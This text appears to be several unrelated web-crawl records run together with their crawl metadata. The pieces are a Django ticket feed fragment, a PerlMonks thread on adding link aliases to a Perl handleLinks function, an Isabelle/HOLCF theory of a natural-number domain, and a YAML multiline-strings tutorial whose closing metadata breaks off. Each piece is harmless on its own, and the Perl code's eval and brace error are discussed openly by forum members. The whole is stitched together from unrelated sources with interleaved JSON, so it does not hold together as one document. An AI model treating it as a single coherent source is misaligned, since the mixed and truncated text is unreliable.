</ul> <p> (In <a class="changeset" href="https://code.djangoproject.com/changeset/13626/">[13626]</a>) Fixed <a class="closed ticket" href="https://code.djangoproject.com/ticket/3051" title="defect: django.test.client.Client() does not set HttpResponse context and template ... (closed: fixed)">#3051</a> -- Documented the requirements for standalone testing. Thanks to Daniel Roseman for the draft text. </p> Ticket russellm Mon, 23 Aug 2010 07:54:07 GMT https://code.djangoproject.com/ticket/3051#comment:13 https://code.djangoproject.com/ticket/3051#comment:13 <p> (In <a class="changeset" href="https://code.djangoproject.com/changeset/13627/">[13627]</a>) [1.2.X] Fixed <a class="closed ticket" href="https://code.djangoproject.com/ticket/3051" title="defect: django.test.client.Client() does not set HttpResponse context and template ... (closed: fixed)">#3051</a> -- Documented the requirements for standalone testing. Thanks to Daniel Roseman for the draft text. </p> <p> Backport of <a class="changeset" href="https://code.djangoproject.com/changeset/13626/">r13626</a> from trunk. </p> Ticket | {
"url": "https://code.djangoproject.com/ticket/3051?format=rss",
"source_domain": "code.djangoproject.com",
"snapshot_id": "crawl=CC-MAIN-2014-10",
"warc_metadata": {
"Content-Length": "17113",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:C6JTXBGRZK42MDJR4XIL3I7MPZRUJEX5",
"WARC-Concurrent-To": "<urn:uuid:68bacd71-ac1f-480d-bfab-f04609ca41bb>",
"WARC-Date": "2014-03-13T19:06:51Z",
"WARC-IP-Address": "205.186.163.125",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:4LJXANXNY52AFT6EHPU4WUJCUEVONP7N",
"WARC-Record-ID": "<urn:uuid:b34a89b3-fb1d-4e92-ab34-774a73e03441>",
"WARC-Target-URI": "https://code.djangoproject.com/ticket/3051?format=rss",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5411319c-cbce-47f3-b349-12b141b52b41>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-142-35.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-10\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0
],
"line_end_idx": [
9967
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 9967,
"ccnet_original_nlines": 0,
"rps_doc_curly_bracket": 0.0006019899738021195,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.11903867870569229,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012016519904136658,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.48779571056365967,
"rps_doc_frac_unique_words": 0.43606558442115784,
"rps_doc_mean_word_length": 8.065573692321777,
"rps_doc_num_sentences": 192,
"rps_doc_symbol_to_word_ratio": 0.013518589548766613,
"rps_doc_unigram_entropy": 5.434527397155762,
"rps_doc_word_count": 915,
"rps_doc_frac_chars_dupe_10grams": 0.08346883207559586,
"rps_doc_frac_chars_dupe_5grams": 0.17466124892234802,
"rps_doc_frac_chars_dupe_6grams": 0.1594850867986679,
"rps_doc_frac_chars_dupe_7grams": 0.144850954413414,
"rps_doc_frac_chars_dupe_8grams": 0.13062331080436707,
"rps_doc_frac_chars_dupe_9grams": 0.11517614871263504,
"rps_doc_frac_chars_top_2gram": 0.007588080130517483,
"rps_doc_frac_chars_top_3gram": 0.007452569901943207,
"rps_doc_frac_chars_top_4gram": 0.01300812978297472,
"rps_doc_books_importance": -1438.3902587890625,
"rps_doc_books_importance_length_correction": -1438.3902587890625,
"rps_doc_openwebtext_importance": -742.8994140625,
"rps_doc_openwebtext_importance_length_correction": -742.8994140625,
"rps_doc_wikipedia_importance": -630.5285034179688,
"rps_doc_wikipedia_importance_length_correction": -630.5285034179688
},
"fasttext": {
"dclm": 0.023788150399923325,
"english": 0.6038671135902405,
"fineweb_edu_approx": 1.4842212200164795,
"eai_general_math": 0.019492030143737793,
"eai_open_web_math": 0.24776196479797363,
"eai_web_code": 0.03797835111618042
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
3,916,121,940,356,980,000 | Beefy Boxes and Bandwidth Generously Provided by pair Networks
Do you know where your variables are?
PerlMonks
allow handleLinks to do aliases
by castaway (Parson)
on May 15, 2005 at 11:06 UTC ( #457196=pmdevtopic: print w/ replies, xml ) Need Help??
So that we can make aliases for link shortcuts in handlelinks settings such as: wikipedia =wp Make the following change to Everything/HTML.pm:
sub handleLinks { for(_test){ goto &$_ if $_ } my( $inner, $lastnodeid )= @_; my $title; my $HLS= getVars(getNode('handlelinks settings','setting')); my( $prefix, $nodeloc )= split( /:\/\//, $inner, 2 ); if($nodeloc){ ## change here $prefix = $1 if($$HLS{lc($prefix) =~ /^=(\w+)$/); ## ($nodeloc,$title)=split(/\|/,$nodeloc,2); my $cpantitle=$title || $nodeloc; my $escapedname=$query->escape($nodeloc); if($prefix){ if($$HLS{lc($prefix)}){ eval($$HLS{lc($prefix)}); } else { return "[$prefix://$nodeloc]"; } } } else { return linkNodeTitle($inner); } }
C.
Replies are listed 'Best First'.
Re: allow handleLinks to do aliases
by theorbtwo (Prior) on May 15, 2005 at 11:12 UTC
This doesn't allow for aliases to aliases. while ($HLS->{lc $prefix) =~ /^=(.*)/) {$prefix = $1} will keep going until it's done.
Warning: Unless otherwise stated, code is untested. Do not use without understanding. Code is posted in the hopes it is useful, but without warranty. All copyrights are relinquished into the public domain unless otherwise stated. I am not an angel. I am capable of error, and err on a fairly regular basis. If I made a mistake, please let me know (such as by replying to this node).
This is true, however since these are not random people adding the aliases, but actual seasoned pmdevs, I would hope that would be a waste of cycles.. ;)
C.
Given the extreme difficulty in joining pmdev ... I'm not so sure we're that far away from "random people" ;-}
(I had to say it before someone said it about me ;-)
Re: allow handleLinks to do aliases
by ysth (Canon) on May 15, 2005 at 14:16 UTC
return "[$prefix://$nodeloc]"; had better become return "[$inner]"; then.
I'd also like to see the // become optional; does anyone have a problem with doing that (for all prefixes)?
Only hysterical ones, why change a long established tradition?
C.
Re: allow handleLinks to do aliases
by tye (Sage) on May 15, 2005 at 14:31 UTC
I thought we already had aliases where a setting value matching /^\w+$/ indicated an aliases. But perhaps that is only in the long-unfinished replacement?
- tye
Presumably, since I don't see it in the current code..
C.
Log In?
Username:
Password:
What's my password?
Create A New User
Chatterbox?
and the web crawler heard nothing...
How do I use this? | Other CB clients
Other Users?
Others having an uproarious good time at the Monastery: (4)
As of 2016-07-25 07:53 GMT
Sections?
Information?
Find Nodes?
Leftovers?
Voting Booth?
What is your favorite alternate name for a (specific) keyboard key?
Results (222 votes). Check out past polls. | {
"url": "http://www.perlmonks.org/?node=allow%20handleLinks%20to%20do%20aliases",
"source_domain": "www.perlmonks.org",
"snapshot_id": "crawl=CC-MAIN-2016-30",
"warc_metadata": {
"Content-Length": "26319",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:BE2X62X3FYAUPK7GWKBDUX7UP2P45QSI",
"WARC-Concurrent-To": "<urn:uuid:e3197115-df52-4dd5-bec6-a0294b6b47ed>",
"WARC-Date": "2016-07-25T07:55:00Z",
"WARC-IP-Address": "209.197.123.153",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:42SGTUM5G54VNRE3IPY6C7NUC7EAWQGJ",
"WARC-Record-ID": "<urn:uuid:bce6546a-655a-4ab1-a3ce-74fd592e1760>",
"WARC-Target-URI": "http://www.perlmonks.org/?node=allow%20handleLinks%20to%20do%20aliases",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1eef4373-b351-4618-98c1-9fe7bac2b745>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-27-174.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-30\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for July 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
63,
101,
103,
115,
116,
148,
149,
170,
257,
258,
402,
956,
957,
960,
961,
994,
1030,
1080,
1081,
1215,
1216,
1217,
1604,
1605,
1765,
1766,
1775,
1776,
1895,
1896,
1957,
1958,
1994,
2039,
2117,
2118,
2230,
2231,
2300,
2301,
2310,
2311,
2347,
2390,
2391,
2550,
2551,
2569,
2570,
2631,
2632,
2641,
2642,
2650,
2660,
2670,
2671,
2691,
2709,
2721,
2758,
2759,
2797,
2810,
2870,
2897,
2907,
2920,
2932,
2943,
2961,
3033,
3034,
3035,
3036,
3037,
3038,
3039,
3040,
3041,
3042,
3043,
3044,
3045,
3046,
3047,
3048,
3049,
3050,
3051
],
"line_end_idx": [
63,
101,
103,
115,
116,
148,
149,
170,
257,
258,
402,
956,
957,
960,
961,
994,
1030,
1080,
1081,
1215,
1216,
1217,
1604,
1605,
1765,
1766,
1775,
1776,
1895,
1896,
1957,
1958,
1994,
2039,
2117,
2118,
2230,
2231,
2300,
2301,
2310,
2311,
2347,
2390,
2391,
2550,
2551,
2569,
2570,
2631,
2632,
2641,
2642,
2650,
2660,
2670,
2671,
2691,
2709,
2721,
2758,
2759,
2797,
2810,
2870,
2897,
2907,
2920,
2932,
2943,
2961,
3033,
3034,
3035,
3036,
3037,
3038,
3039,
3040,
3041,
3042,
3043,
3044,
3045,
3046,
3047,
3048,
3049,
3050,
3051,
3097
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3097,
"ccnet_original_nlines": 90,
"rps_doc_curly_bracket": 0.0074265399016439915,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3009985685348511,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03851640969514847,
"rps_doc_frac_lines_end_with_ellipsis": 0.010989010334014893,
"rps_doc_frac_no_alph_words": 0.3466476500034332,
"rps_doc_frac_unique_words": 0.5963718891143799,
"rps_doc_mean_word_length": 4.863945484161377,
"rps_doc_num_sentences": 40,
"rps_doc_symbol_to_word_ratio": 0.009985730051994324,
"rps_doc_unigram_entropy": 5.298366069793701,
"rps_doc_word_count": 441,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.0811188817024231,
"rps_doc_frac_chars_dupe_6grams": 0.05687645822763443,
"rps_doc_frac_chars_dupe_7grams": 0.04335663840174675,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.029836829751729965,
"rps_doc_frac_chars_top_3gram": 0.0335664302110672,
"rps_doc_frac_chars_top_4gram": 0.03729604184627533,
"rps_doc_books_importance": -274.1724548339844,
"rps_doc_books_importance_length_correction": -274.1724548339844,
"rps_doc_openwebtext_importance": -162.2672119140625,
"rps_doc_openwebtext_importance_length_correction": -162.2672119140625,
"rps_doc_wikipedia_importance": -151.7698974609375,
"rps_doc_wikipedia_importance_length_correction": -151.7698974609375
},
"fasttext": {
"dclm": 0.07517533749341965,
"english": 0.833930253982544,
"fineweb_edu_approx": 1.3283323049545288,
"eai_general_math": 0.09414374828338623,
"eai_open_web_math": 0.4603976607322693,
"eai_web_code": 0.003128529991954565
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.436",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-2,087,051,536,771,875,300 | Theory Dnat
theory Dnat
imports HOLCF
(* Title: HOL/HOLCF/ex/Dnat.thy
Author: Franz Regensburger
Theory for the domain of natural numbers dnat = one ++ dnat
*)
theory Dnat
imports HOLCF
begin
domain dnat = dzero | dsucc (dpred :: dnat)
definition
iterator :: "dnat → ('a → 'a) → 'a → 'a" where
"iterator = fix⋅(LAM h n f x.
case n of dzero ⇒ x
| dsucc⋅m ⇒ f⋅(h⋅m⋅f⋅x))"
text ‹
\medskip Expand fixed point properties.
›
lemma iterator_def2:
"iterator = (LAM n f x. case n of dzero ⇒ x | dsucc⋅m ⇒ f⋅(iterator⋅m⋅f⋅x))"
apply (rule trans)
apply (rule fix_eq2)
apply (rule iterator_def [THEN eq_reflection])
apply (rule beta_cfun)
apply simp
done
text ‹\medskip Recursive properties.›
lemma iterator1: "iterator⋅UU⋅f⋅x = UU"
apply (subst iterator_def2)
apply simp
done
lemma iterator2: "iterator⋅dzero⋅f⋅x = x"
apply (subst iterator_def2)
apply simp
done
lemma iterator3: "n ≠ UU ⟹ iterator⋅(dsucc⋅n)⋅f⋅x = f⋅(iterator⋅n⋅f⋅x)"
apply (rule trans)
apply (subst iterator_def2)
apply simp
apply (rule refl)
done
lemmas iterator_rews = iterator1 iterator2 iterator3
lemma dnat_flat: "∀x y::dnat. x ⊑ y ⟶ x = UU ∨ x = y"
apply (rule allI)
apply (induct_tac x)
apply fast
apply (rule allI)
apply (case_tac y)
apply simp
apply simp
apply simp
apply (rule allI)
apply (case_tac y)
apply (fast intro!: bottomI)
apply (thin_tac "∀y. dnat ⊑ y ⟶ dnat = UU ∨ dnat = y")
apply simp
apply (simp (no_asm_simp))
apply (drule_tac x="dnata" in spec)
apply simp
done
end | {
"url": "http://isabelle.in.tum.de/library/HOL/HOLCF-ex/Dnat.html",
"source_domain": "isabelle.in.tum.de",
"snapshot_id": "crawl=CC-MAIN-2018-05",
"warc_metadata": {
"Content-Length": "15494",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CRP5OREWIPBGRGTHKIMZSGFAAI5DE4MX",
"WARC-Concurrent-To": "<urn:uuid:981c7cac-7874-4582-997b-7050e86d7744>",
"WARC-Date": "2018-01-23T12:16:17Z",
"WARC-IP-Address": "131.159.46.82",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:PB6Z4VAUKW7BC3SRVPQYUFQQPA6UCYCW",
"WARC-Record-ID": "<urn:uuid:dac25427-59fd-4df1-8996-5fe0b4b29a67>",
"WARC-Target-URI": "http://isabelle.in.tum.de/library/HOL/HOLCF-ex/Dnat.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:67b3a3c4-4889-44f6-9c5a-9089277c8865>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-149-109-157.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-05\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for January 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
12,
13,
25,
39,
77,
112,
113,
174,
177,
178,
190,
204,
210,
211,
255,
256,
267,
316,
348,
372,
404,
405,
412,
454,
456,
457,
478,
557,
578,
601,
650,
675,
688,
695,
696,
734,
735,
775,
805,
818,
825,
826,
868,
898,
911,
918,
919,
991,
1012,
1043,
1057,
1077,
1084,
1085,
1138,
1139,
1193,
1213,
1236,
1251,
1272,
1294,
1310,
1325,
1339,
1359,
1380,
1413,
1471,
1485,
1514,
1552,
1565,
1572,
1573
],
"line_end_idx": [
12,
13,
25,
39,
77,
112,
113,
174,
177,
178,
190,
204,
210,
211,
255,
256,
267,
316,
348,
372,
404,
405,
412,
454,
456,
457,
478,
557,
578,
601,
650,
675,
688,
695,
696,
734,
735,
775,
805,
818,
825,
826,
868,
898,
911,
918,
919,
991,
1012,
1043,
1057,
1077,
1084,
1085,
1138,
1139,
1193,
1213,
1236,
1251,
1272,
1294,
1310,
1325,
1339,
1359,
1380,
1413,
1471,
1485,
1514,
1552,
1565,
1572,
1573,
1576
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1576,
"ccnet_original_nlines": 75,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.1763157844543457,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.031578950583934784,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.39210525155067444,
"rps_doc_frac_unique_words": 0.43119266629219055,
"rps_doc_mean_word_length": 4.8761467933654785,
"rps_doc_num_sentences": 9,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.0384979248046875,
"rps_doc_word_count": 218,
"rps_doc_frac_chars_dupe_10grams": 0.04703668877482414,
"rps_doc_frac_chars_dupe_5grams": 0.3047977387905121,
"rps_doc_frac_chars_dupe_6grams": 0.18814675509929657,
"rps_doc_frac_chars_dupe_7grams": 0.18062087893486023,
"rps_doc_frac_chars_dupe_8grams": 0.04703668877482414,
"rps_doc_frac_chars_dupe_9grams": 0.04703668877482414,
"rps_doc_frac_chars_top_2gram": 0.08466604351997375,
"rps_doc_frac_chars_top_3gram": 0.0658513605594635,
"rps_doc_frac_chars_top_4gram": 0.011288809590041637,
"rps_doc_books_importance": -151.52076721191406,
"rps_doc_books_importance_length_correction": -138.4347381591797,
"rps_doc_openwebtext_importance": -84.12776184082031,
"rps_doc_openwebtext_importance_length_correction": -84.12776184082031,
"rps_doc_wikipedia_importance": -39.58698272705078,
"rps_doc_wikipedia_importance_length_correction": -25.768535614013672
},
"fasttext": {
"dclm": 0.04360442981123924,
"english": 0.3162471055984497,
"fineweb_edu_approx": 1.9217864274978638,
"eai_general_math": 1.0000077486038208,
"eai_open_web_math": 0.6599798202514648,
"eai_web_code": 0.2504061460494995
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "511.3",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Arithmetic"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "6",
"label": "Create"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v1": {
"primary": {
"code": "2",
"label": "Academic/Research"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-6,564,153,679,617,698,000 | How to Use Multiline Strings in YAML – A Complete Guide
yaml multiline string
YAML, a human-readable data serialization standard, plays a pivotal role in configuration management and data serialization across various applications and environments. One common challenge when working with YAML is managing long strings effectively without compromising the file’s readability or structure. This is where the concept of multiline strings comes into play, offering a neat solution to this issue. This article delves into the nuances of yaml multiline string handling, covering syntax variations, practical applications, and addressing frequently asked questions to provide a comprehensive understanding of this feature.
What is a YAML Multiline Strings?
Definition and Importance
Multiline strings in YAML are designed to enhance the readability and maintainability of YAML files, especially when dealing with lengthy texts or configurations. This feature allows for the representation of long strings across multiple lines in a YAML document, making it easier to read and edit. The importance of yaml multiline string handling cannot be overstated, as it directly impacts the clarity and efficiency of configuration files, crucial for developers and system administrators alike.
Basic Syntax Overview
YAML offers two primary styles for defining multiline strings, each serving different purposes:
• Literal Block Scalar (|): This style preserves the line breaks within the string exactly as they are. It’s ideal for content where the exact formatting is important, such as scripts or markdown content. For example:
script: |
echo "Starting process..."
./process.sh
echo "Process completed."
• Folded Block Scalar (>): In contrast, the folded style replaces newlines with spaces, making it suitable for long paragraphs of text that should be displayed as a single line. However, it respects double newlines, allowing for paragraph breaks. An example usage would be:
description: >
This is a very long sentence that spans several lines in the YAML file
but is intended to be displayed as a single line when processed.
Both styles offer a way to handle yaml multiline string effectively, with the choice between them depending on the specific requirements for formatting and presentation of the string content.
Syntax Variations and Their Uses
YAML’s flexibility in handling multiline strings is one of its most powerful features, offering various syntax options to cater to different needs. Understanding these variations is key to leveraging YAML effectively in your projects.
Literal Block Scalar (|)
The literal block scalar, denoted by a vertical bar (|), is designed to preserve newlines as they are within the string. This syntax is particularly useful when the exact format of the string matters, such as when including code blocks, configuration files, or any content where line breaks are significant. For instance, when embedding a script or a markdown piece within a YAML file, using | ensures that each newline in your text is respected and retained.
See also Brave Browser Offline Installer: Quick Start Guide
When to use it: Opt for the literal block scalar when you need to maintain the original formatting of your content, including line breaks and blank lines, without any alteration.
Folded Block Scalar (>)
The folded block scalar, indicated by a greater-than sign (>), converts line breaks into spaces, creating a continuous line of text. This approach is ideal for prose or paragraphs where line breaks are not intended to signify new paragraphs or sections. The folded style is smart enough to recognize double newlines, allowing you to separate paragraphs clearly.
When to use it: This style is best suited for lengthy descriptions or any textual content that benefits from being displayed as a single line but requires paragraph breaks.
Chomping Indicators (-, +)
Chomping indicators modify how YAML interprets the final newline and any trailing blank lines in your multiline string. The - (strip) indicator removes the final newline, while the + (keep) indicator preserves the final newline and any additional trailing blank lines. These can be combined with either the literal (|) or folded (>) styles, as in >-, |-, >+, |+, to fine-tune the handling of end-of-string newlines.
When to use them: Use these indicators to control the presence or absence of trailing newlines in your output, depending on whether you need a compact representation or wish to maintain spacing as is.
Block Styles with Indentation Indicators
Indentation indicators allow for even finer control over the formatting of multiline strings by specifying the indentation level of the content. This feature can be particularly useful when the alignment of the text matters or when integrating YAML content with other data formats that require specific indentation.
When to use them: Apply indentation indicators when you need to align multiline strings with the rest of your document or ensure consistent formatting across different sections.
Flow Scalar Styles (", ')
Flow scalar styles, encompassing both double (") and single (') quotes, offer mechanisms for incorporating multiline strings with more nuanced control over escaping. Double-quoted strings support escape sequences, allowing for the inclusion of special characters, while single-quoted strings are more literal and only recognize '' as an escape for a single quote.
When to use them: Choose double quotes when your content includes special characters that need escaping, such as newline characters (\n) or unicode characters. Single quotes are preferable when you want to avoid processing escape sequences and need a more straightforward representation of your string.
Each of these syntax variations and their uses underscores YAML’s adaptability in managing multiline strings, providing developers with the tools to format and present their data cleanly and effectively.
Comparison Table for YAML Multiline Strings
FeatureLiteral Block Scalar (|)Folded Block Scalar (>)Double-Quoted (")Single-Quoted (')
NewlinesPreserved as isConverted to spaces (except for double newlines)Represented by \nPreserved as is
WhitespacePreserved as isPreserved; affects foldingMust be escaped if significantPreserved as is
Special CharactersIncluded directlyIncluded directlyEscaped (e.g., \t, \n)Single quote escaped by doubling
Use CaseCode snippets, configsProse, paragraphsStrings with escape sequencesLiteral text without escapes
IndentationSignificantSignificantNot significantSignificant
Practical Applications and Examples
Configuration Files
Multiline strings significantly enhance the readability of complex configurations in YAML files. For instance, consider a scenario where you need to define a lengthy SQL query within a configuration:
database_query: >
SELECT user_id, username
FROM users
WHERE active = 1
ORDER BY last_login DESC
Using the folded block scalar (>) keeps the query readable within the YAML file while ensuring it’s processed as a single line string, making it easier to manage and understand complex configurations.
See also How Does OpenStack work? (Part II)
Localization and Text Blocks
YAML’s multiline string capabilities are particularly useful in managing localized text and large content blocks. For example, when defining multiple language versions of a lengthy text:
welcome_message:
en: >
Welcome to our application. Here, you will find...
fr: >
Bienvenue dans notre application. Ici, vous trouverez...
This approach maintains the clarity of each language version, ensuring that translations are easily manageable and accessible within the same document.
Code Snippets and Commands
Embedding multiline code snippets or shell commands within YAML files is streamlined with multiline strings. For instance, defining a deployment script:
deployment_script: |
#!/bin/bash
echo "Starting deployment..."
git pull
docker-compose up --build
The literal block scalar (|) preserves the newline characters, ensuring the script is executed exactly as intended.
Tips for Effective Multiline String Usage
Choosing the Right Style
Selecting the appropriate syntax for multiline strings in YAML depends on the content’s nature and the desired outcome. Use literal block scalars (|) for content where line breaks are crucial, such as scripts or markdown. Folded block scalars (>) are better suited for prose or paragraphs where line breaks should be converted to spaces.
Avoiding Common Pitfalls
A common mistake is unintentionally including whitespace at the beginning of lines, which can alter the intended formatting. Be mindful of the indentation level of your content to avoid syntax errors or unexpected behaviors. Additionally, ensure that chomping indicators are used correctly to control the presence or absence of trailing newlines.
Best Practices for Readability
To maintain readability and ease of maintenance:
• Consistently use indentation to signal the structure of your document.
• When using folded block scalars, separate paragraphs with a blank line to enhance clarity.
• Comment your YAML files, especially when using complex multiline strings, to explain their purpose or any non-obvious formatting choices.
By adhering to these guidelines, you can effectively leverage YAML’s multiline string capabilities to create well-organized, readable, and maintainable documents.
FAQs on YAML Multiline Strings
How do I choose between | and > for my YAML multiline strings?
Choose | (literal block scalar) when you need to preserve the exact format of your content, including newlines and spaces. It’s ideal for code snippets or content where formatting is crucial. Use > (folded block scalar) for text where newlines should be converted to spaces, suitable for paragraphs or prose that benefit from being more compact.
Can I mix different multiline string styles in the same YAML document?
Yes, you can mix different multiline string styles within the same YAML document. This allows you to tailor the handling of each string to its specific requirements, enhancing readability and functionality of your YAML files.
How do I include special characters in YAML multiline strings?
To include special characters in YAML multiline strings, use the double-quoted style (") which supports escape sequences. For example, to include a newline character, you would use \n within your string.
What are the limitations of YAML multiline strings?
One limitation of YAML multiline strings is managing indentation and whitespace, which can affect the output if not handled carefully. Additionally, complex structures may require careful consideration of the chosen style to ensure the content is interpreted as intended.
How do YAML multiline strings handle whitespace and indentation?
YAML multiline strings handle whitespace based on the chosen style. In literal style (|), whitespace and newlines are preserved as is. In folded style (>), newlines are converted to spaces, but indentation is respected to maintain the structure of the content. Proper indentation is crucial in both styles to ensure the content is correctly interpreted.
Support us & keep this site free of annoying ads.
Shop Amazon.com or Donate with Paypal
Leave a Comment | {
"url": "https://www.heatware.net/software-tips/yaml-multiline-string/",
"source_domain": "www.heatware.net",
"snapshot_id": "CC-MAIN-2024-22",
"warc_metadata": {
"Content-Length": "105545",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:4OQELHOWHGKY43Z75NEE5C7ZYQJ7INAV",
